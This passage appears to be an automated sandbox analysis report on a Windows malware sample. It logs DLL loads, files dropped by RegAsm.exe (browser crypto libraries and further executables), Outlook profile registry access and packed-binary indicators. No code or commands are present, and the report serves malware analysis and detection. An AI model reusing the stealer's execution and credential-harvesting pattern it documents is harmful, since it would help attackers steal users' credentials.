Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: version.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\HDAFIIDAKJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1976265384.000000006CA35000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr
Source:	Binary string: c:\par8k7z\obj\Re\ease\fsB.pdb0, source: file.exe
Source:	Binary string: c:\sl1g47f51c90hn\obj\Re\ease\fsB.pdb source: 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, DHCGHDHIDH.exe.29.dr
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 0000001D.00000002.1963284287.000000003C6D1000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr, vcruntime140[1].dll.29.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: c:\sl1g47f51c90hn\obj\Re\ease\fsB.pdb0 source: 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, DHCGHDHIDH.exe.29.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 0000001D.00000002.1955580137.00000000307F1000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.1427642500.000000006CD7F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1976265384.000000006CA35000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943691071.00000000244D8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2215879261.000000002232B000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.29.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr
Source:	Binary string: c:\6yuam8\obj\Re\ease\fsB.pdb0 source: HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, userIEHDAFHDHC.exe.3.dr
Source:	Binary string: c:\6yuam8\obj\Re\ease\fsB.pdb source: HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, userIEHDAFHDHC.exe.3.dr
Source:	Binary string: c:\par8k7z\obj\Re\ease\fsB.pdb source: file.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_004195E0

Source: 66cf75d3791d7_vrewqgq[1].exe.3.dr	Static PE information: real checksum: 0x377ad should be: 0x35e97
Source: DHCGHDHIDH.exe.29.dr	Static PE information: real checksum: 0x552b7 should be: 0x53da3
Source: userIEHDAFHDHC.exe.3.dr	Static PE information: real checksum: 0x377ad should be: 0x35e97
Source: HDAFIIDAKJ.exe.29.dr	Static PE information: real checksum: 0x377ad should be: 0x35e97
Source: userFBKFCFBFID.exe.3.dr	Static PE information: real checksum: 0x552b7 should be: 0x53da3
Source: sql[1].dll.29.dr	Static PE information: real checksum: 0x0 should be: 0x263795
Source: file.exe	Static PE information: real checksum: 0x3ca22 should be: 0x3ef0c
Source: 66cf818156193_ldjfnsfd[1].exe.3.dr	Static PE information: real checksum: 0x552b7 should be: 0x53da3

Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: sql[1].dll.29.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.29.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.29.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.29.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.29.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041A9F5 push ecx; ret	3_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB7B536 push ecx; ret	3_2_6CB7B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 24_2_0043504B push ss; retf	24_2_0043504F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0041AA05 push ecx; ret	29_2_0041AA18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6C9EB536 push ecx; ret	29_2_6C9EB549

Source: file.exe	Static PE information: section name: .text entropy: 7.986877735993568
Source: userFBKFCFBFID.exe.3.dr	Static PE information: section name: .text entropy: 7.993781178446662
Source: 66cf818156193_ldjfnsfd[1].exe.3.dr	Static PE information: section name: .text entropy: 7.993781178446662
Source: userIEHDAFHDHC.exe.3.dr	Static PE information: section name: .text entropy: 7.985801528758324
Source: 66cf75d3791d7_vrewqgq[1].exe.3.dr	Static PE information: section name: .text entropy: 7.985801528758324
Source: DHCGHDHIDH.exe.29.dr	Static PE information: section name: .text entropy: 7.993781178446662
Source: HDAFIIDAKJ.exe.29.dr	Static PE information: section name: .text entropy: 7.985801528758324

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userFBKFCFBFID.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userIEHDAFHDHC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDAFIIDAKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DHCGHDHIDH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf818156193_ldjfnsfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDAFIIDAKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DHCGHDHIDH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
